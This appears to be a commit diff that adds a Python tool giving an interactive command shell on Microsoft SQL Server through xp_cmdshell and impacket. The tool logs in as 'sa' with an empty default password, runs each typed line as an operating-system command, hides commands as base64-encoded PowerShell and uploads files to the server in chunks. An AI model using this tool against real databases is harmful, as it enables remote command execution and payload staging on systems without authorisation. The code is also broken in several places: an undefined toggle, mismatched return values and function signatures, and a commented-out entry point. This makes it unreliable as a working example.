Update

xp_cmdshell.py

@@ -0,0 +1,163 @@
+# /usr/bin/env python3
+# interactive xp_cmdshell
+# with impacket and cmd
+# used https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py for reference
+import os, cmd, sys, re, base64
+from impacket import tds
+import readline
+
+class XpShell(cmd.Cmd):
+
+    def __init__(self, SQLObj):
+        cmd.Cmd.__init__(self)
+        self.sql = SQLObj
+        self.prompt = 'xp_cmd> '
+        self.file = None
+
+    def powershell_encode(self, data):
+        return base64.b64encode(data.encode('UTF-16LE')).decode()
+
+    def powershell_encode_binary(self, data):
+        return base64.b64encode(data).decode()
+
+    # interpret every line as system command
+    def default(self, arg):
+        try:
+
+            if pwsh:
+                new_arg = 'powershell -encodedCommand {}'
+                arg = new_arg.format(self.powershell_encode(arg))
+
+            self.execute_query(arg)
+
+        except ConnectionResetError as e:
+            self.reconnect_mssql()
+            self.execute_query(arg)
+        except Exception as e:
+            print('Exception: ')
+            print(str(e))
+            pass
+
+    # i wont say what it does
+    def do_exit(self, arg):
+        exit()
+
+    # ? yes
+    def do_help(self, arg):
+        print("""
+you found the help command
+
+pwsh                -   Toggle powershell on/off
+upload <src> <dest> -   upload a file
+exit                -   i wont say what it does
+              """)
+
+    def do_upload(self, data, dest):
+        writeme = bytearray()  # contains bytes to be written
+
+        try:
+            # create/overwrite the target file with powershell
+            cmd = 'New-Item -Path {} -Force'.format(dest)
+            cmd = self.powershell_encode(cmd)
+            self.execute_query('powershell -encodedCommand {}'.format(cmd))
+        except FileNotFoundError as e:
+            print('File not found.')
+            return
+        except ConnectionResetError as e:
+            self.reconnect_mssql()
+            self.execute_query('powershell -encodedCommand {}'.format(cmd))
+        except Exception as e:
+            print('Exception: ')
+            print(str(e))
+            return
+
+        total_uploaded = 0  # uploaded bytes so far
+        count = 0           # counter to run through byte array
+        write_count = 2000  # write 2000 bytes with each command
+
+        # run through all bytes of the file which have been saved in data
+        for b in data:
+            writeme.append(b)
+            # write 'write_count' bytes with each command
+            if count != 0 and count % write_count == 0:
+                self.write_bytes_to_file(writeme, dest)
+
+                writeme = bytearray()
+                total_uploaded += write_count
+                count = 0
+                print('Uploaded {} of {} bytes'.format(total_uploaded,len(data)))
+            count += 1
+
+        # if there are unwritten write them
+        if count > 0:
+            self.write_bytes_to_file(writeme, dest)
+
+            total_uploaded += count
+            print('Uploaded {} of {} bytes'.format(total_uploaded, len(data)))
+
+    # executed when ConnectionResetError
+    def reconnect_mssql(self):
+        print('connection lost attempting to reconnect...')
+        self.sql.disconnect()
+        ms_sql, res = connect_mssql()
+        if res is True:
+            self.sql = ms_sql
+            print('Success!')
+        else:
+            print('Could not re-establish connection. Exiting.')
+            exit()
+
+
+    # execute xp_cmdshell command
+    def execute_query(self, arg):
+        self.sql.sql_query("exec master..xp_cmdshell '{}'".format(arg))
+        self.sql.printReplies()
+        self.sql.colMeta[0]['TypeData'] = 80*1
+        self.sql.printRows()
+
+
+    # encodes bytes as base64 and writes them to a file via powershell
+    def write_bytes_to_file(self, data, target):
+        data = self.powershell_encode_binary(data)
+
+        # cmd to append bytes to file
+        cmd = "powershell -command \"Add-Content -value ([Convert]::FromBase64String(\'{}\')) -encoding byte -path \'{}\'\"".format(data, target)
+        cmd = self.powershell_encode(cmd)
+
+        # execute file write
+        try:
+            self.execute_query('powershell -encodedCommand {}'.format(cmd))
+        except ConnectionResetError as e:
+            self.reconnect_mssql()
+
+def connect_mssql(ip, port=1433, username="sa", password="", domain=""):
+    # do database connection (simple for now)
+    try:
+        ms_sql = tds.MSSQL(ip, port)
+        ms_sql.connect()
+        res = ms_sql.login(database = None, username=username, password=password, domain=domain)
+        ms_sql.printReplies()
+        if res:
+            return XpShell(ms_sql)
+        else:
+            return res
+
+    except Exception as e:
+        print('Exception: ')
+        print(str(e))
+        return False
+
+# if __name__ == '__main__':
+#     # pass commands directly into powershell
+#     # ./xp_cmdshell.py -powershell
+#     if len(sys.argv) > 1 and sys.argv[1] == '-powershell':
+#         pwsh = True
+#
+#     # if connection successful
+#     ms_sql, res = connect_mssql()
+#     if res is True:
+#         shell = XpShell(ms_sql)
+#         shell.cmdloop()
+#
+#     # close ms_sql
+#     ms_sql.disconnect()